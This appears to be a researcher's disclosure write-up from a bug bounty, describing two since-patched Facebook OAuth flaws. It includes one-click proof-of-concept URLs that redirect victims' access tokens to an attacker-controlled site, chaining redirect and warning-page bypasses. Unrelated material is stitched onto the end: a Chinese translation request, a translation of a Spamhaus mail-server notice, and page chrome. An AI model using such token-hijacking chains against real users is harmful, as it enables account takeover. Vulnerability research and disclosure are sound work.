How I Hacked Any Facebook Account...Again!

This is my second post regarding Facebook OAuth Vulnerabilities,

just to clarify there is no need for any installed apps on the victim's account, Even if the victim has never allowed any application in his Facebook account I could still get full permission on his account via Facebook Messenger app_id (This bug works on any browser),

Also, It's important to mention that there is a special regex protection in Facebook Messenger app_id (app_id=220764691281998),

I was able to bypass it.



Bug 1:

Reported this bug at 6/03/2013, Facebook Security Team Fixed it immediately ,

Also reported more OAuth bugs at 26/02/2013, Facebook Security Team Fixed it very quickly

Regarding Facebook OAuth Double URL Encoding (Firefox), Reported at 6/02/2013, Fixed it very quickly

Details:

So after my first OAuth Vulnerability discovery http://www.nirgoldshlager.com/2013/02/how-i-hacked-facebook-oauth-to-get-full.html

Facebook Security was trying to protect OAuth Token Hijacking attacks by using  Regex Protection (%23xxx!,%23/xxx,/)

Facebook rejected one hash sign request in redirect_uri, next parameter ( next=%23/xxxx,next=%23xxx!) to avoid OAuth Attacks,

Instead, Facebook allow two or more hash sign request in redirect_uri,next parameter (next= %23/xxx/ %23/xxx)

That's because no one was thinking there is a way to exploit Facebook OAuth with Multiple hash sign request




So Can we exploit OAuth with two hash sign request? (%23/x/%23/xxxx)?,

The answer is yes!,

I found that there is a strange behavior of redirection when a user use multiple hash sign request in facebook.com

Multiple Hash Sign Request Example:

facebook.com/#/x/#/messages

Redirect to:

http://facebook.com/x/#/messages/

And:

http://facebook.com/x/#/messages/

Redirect to:

http://facebook.com/messages/

Amazing How Things Works ;)

Now, After we know that we can use multiple hash sign request (#/xxx/#/xxx)



in our redirect_uri, next parameter to bypass the one hash sign (#/xx) regex protection in Facebook OAuth (next=http://facebook.com/#/xxx),

There is more to it in order to use that behavior to exploit the OAuth Bug once again,
I found out that Facebook OAuth rejects unauthorized subdomains in redirect_uri, next parameter,

For example:


Facebook allows only subdomains of Facebook Mobile Version,

Such as:

touch.facebook.com

m.facebook.com

0.facebook.com


But rejects unknown subdomains:

( aaa.facebook.com, bbb.facebook.com)+ main domains ( facebook.com, apps.facebook.com,etc..)


Again, Bad News!
That's Because In any mobile version of Facebook ( touch.facebook.com, m.facebook.com, 0.facebook.com), We won't see the multiple hash sign behaviour in our request

For Example:

https://touch.facebook.com/#/xx/#!messages

https://touch.facebook.com/#!/xx/#!/messages

This request will not be valid, Will not redirect us to the messages screen,



Anyway, I need a subdomain like the same official domain of facebook.com,

I need it to exploit the strange redirection behavior with multiple hash sign request  (#/xx/#/xx) under facebook.com
At first sight it seems that facebook rejects any subdomain except the mobile subdomain version (touch.facebook.com,etc...),

I found that if I use facebook as a subdomain (facebook.facebook.com), I can bypass this protection,

Sometimes the answer is right in front of you :).

Wait a second!,

For now it seems that I can access to files / directories in facebook.com via the redirect_uri,next parameter right?,
But i can't access my app that redirect victims to the attacker's external website (files.nirgoldshlager.com) , To Save the access_token of the victim,
That's Because my "malicious" App located at touch.facebok.com/apps/xxx, apps.facebook.com/apps/xxxx

I thought of a few ways to exploit this situation,

1.

Create a Page Tab in Facebook Page that redirect to external website ( files.nirgoldshlager.com),

2.

Try to access my app from facebook.com domain


3.

Find a Site Redirection Vulnerability in facebook.com.


I tried to use my App or Page tab in redirect_uri,next parameter
For Example:

A.


(My "Malicious" App, Located in facebook.com)

https://facebook.com/apps/application.php?id=314021278671363
B.

(Page Tab that redirect to external website, Located in facebook.com)

https://www.facebook.com/Goldshlager?v=app_185356844859770

Bad news again!

I cant use this methods because there is to much redirection process in this attack,

The Access_token of the victim will not be sent to an external site after 3 redirection requests in GET URL, That's sucks!

I was thinking again, Maybe there is some way to redirect the victim directly to my app located in touch.facebook.com/apps/myapp to limit the redirection process to three times for example.

So, I found that there is a file called l.php in facebook.com, I'm sure most of you familiar with this file,

This file is responsible of redirecting people to external websites, In this case Facebook provide a warning message, Ask the user to confirm the redirection before they redirect him,

Seems I'm lost again,



I found that if i use 5 byte before the external website in l.php,

I can bypass this warning message when i redirect the victim to subdomains of facebook.com

For example:

Warning message:

https://www.facebook.com/l/;touch.facebook.com/apps/sdfsdsdsgs

Bypass warning message by using  5 byte , Redirect to touch.facebook.com subdomain:

https://www.facebook.com/l/goldy;touch.facebook.com/apps/sdfsdsdsgs

Cool!,

Now lets combine all of these methods to bypass Facebook OAuth,

Exploit Summary

1. 

Using facebook.facebook.com subdomain to bypass subdomain regex protection in OAuth ( facebook.facebook.com)

2.

Exploit the strange redirection behavior in facebook.com with multiple hash signs ( https://facebook.facebook.com/#/x/#/l/ggggg;touch.facebook.com/apps/sdfsdsdsgs)

3.

Bypass the warning message in l.php with 5 byte ( https://www.facebook.com/l/ggggg;touch.facebook.com)

4.

Redirect the victim to external websites located in files.nirgoldshlager.com via my Facebook app, To save the victim access_token in a log file

Final PoC One Click (Works On All Browsers, Bypass 2-STEP Verification, Access token never expired until the victim changed his password):

https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token


  Full description of permission for Facebook Messenger Access Token:

ads_management create_event create_note email export_stream  manage_friendlists manage_groups manage_notifications manage_pages  offline_access photo_upload publish_actions publish_checkins  publish_stream read_friendlists read_insights read_mailbox  read_page_mailboxes read_requests read_stream rsvp_event share_item sms  status_update video_upload xmpp_login


 And???








Bug 2.



This bug was fixed a few weeks ago,

I wanted to find something unique for Facebook users that are using Firefox Browser!,

I found that an attacker is able to encode his payload with Double URL Encoding (%25xx) to attack Facebook users under Firefox Browser and bypass Facebook OAuth regex protection.

This behavior bypasses the hash sign regex protection in touch.facebook.com, facebook.com   ,  x.facebook.com,etc..

PoC:

https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1


BTW.

If you want to use OAuth 2.0 in your own web site, You can look at Egor Homakov @homakov post ( http://homakov.blogspot.co.il/2013/03/redirecturi-is-achilles-heel-of-oauth.html), that shows how to fix these vulnerabilities in OAuth 2.0,

Also please read the risks regarding OAuth 2.0 before you use it in your own site

http://tools.ietf.org/html/rfc6749#page-60


See you next time :)
请翻译:202.192.1.5 is making SMTP connections which indicate that it is misconfigured. Some elements of your existing configuration create message characteristics identical to previously identified spam messages. Please align the mail erver's HELO/EHLO 'icoremail.net' with proper DNS (forward and reverse) values for a mail server. Here is an example: Correct HELO/DNS/rDNS alignment for domain example.com: - Mail server HELO: mail.example.com - Mail server IP: 192.0.2.12 - Forward DNS: mail.example.com -> 192.0.2.12 - Reverse DNS: 192.0.2.12 -> mail.example.com Correcting an invalid HELO or a HELO/forward DNS lookup mismatch will stop the IP from being listed again. Points to consider: * Alignment: it is strongly recommended that the forward DNS lookup (domain name to IP address) and rDNS (IP to domain) of your IP should match the HELO value set in your server, if possible * The IP and the HELO value should both have forward and rDNS, and should resolve in public DNS * Ensure that the domain used in HELO actually exists! Additional points: * According to RFC, the HELO must be a fully qualified domain name (FQDN): "hostname.example.com" is an FQDN and "example.com" is not an FQDN. * The domain used should belong to your organisation. * HELO is commonly a server setting, not DNS. Contact your hosting provider for assistance if needed. You can test a server's HELO configuration by sending an email from it to helocheck@abuseat.org. A bounce that contains the required information will be returned immediately. It will look like an error, it is not. Please examine the contents of this email. If all settings are correct, you have a different problem, probably malware/spambot. Again, the HELO we are seeing is 'icoremail.net'. The last detection was at 2023-05-27 13:35:00 (UTC). For information on misconfigured or hacked SMTP servers and networks, please see this FAQ: https://www.spamhaus.org/faq/section/Hacked...%20Here's%20help#539 CSS listings expire a few days after last detection. You can always open a ticket (or update an existing one) to inform us when and how the situation was been secured.
05-31
202.192.1.5正在建立SMTP连接,表明其配置不正确。您现有的一些配置元素创建与先前识别的垃圾邮件相同的消息特征。请将邮件服务器的HELO/EHLO“icoremail.net”与邮件服务器的适当DNS(正向和反向)值对齐。以下是一个示例:域示例.com的正确HELO/DNS/rDNS对齐方式:-邮件服务器HELO:mail.example.com-邮件服务器IP:192.0.2.12-正向DNS:mail.example.com->192.0.2.12-反向DNS:192.0.2.12->mail.example.com。更正无效的HELO或HELO/正向DNS查找不匹配将停止该IP再次被列出。需要考虑的要点:*对齐:强烈建议您的IP的正向DNS查找(域名到IP地址)和rDNS(IP到域)应与服务器中设置的HELO值匹配,如果可能的话。* IP和HELO值都应具有正向和反向DNS,并且应在公共DNS中解析。*确保在HELO中使用的域实际存在!附加要点:*根据RFC,HELO必须是完全限定域名(FQDN):“hostname.example.com”是FQDN,“example.com”不是FQDN。*使用的域应属于您的组织。*HELO通常是服务器设置,而不是DNS。如有需要,请联系您的托管提供商寻求帮助。您可以通过向helocheck@abuseat.org发送电子邮件来测试服务器的HELO配置。将立即返回包含所需信息的反弹。它看起来像一个错误,但它不是。请检查此电子邮件的内容。如果所有设置都正确,则您可能有不同的问题,可能是恶意软件/垃圾邮件机器人。再次看到的HELO是“icoremail.net”。最后一次检测是在2023年5月27日13:35:00(UTC)。有关配置不正确或被黑客攻击的SMTP服务器和网络的信息,请参见此FAQ:https://www.spamhaus.org/faq/section/Hacked...%20Here's%20help#539。CSS列表在最后检测几天后过期。您始终可以打开一个工单(或更新现有工单),以告知我们何时以及如何安全地解决了该情况。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值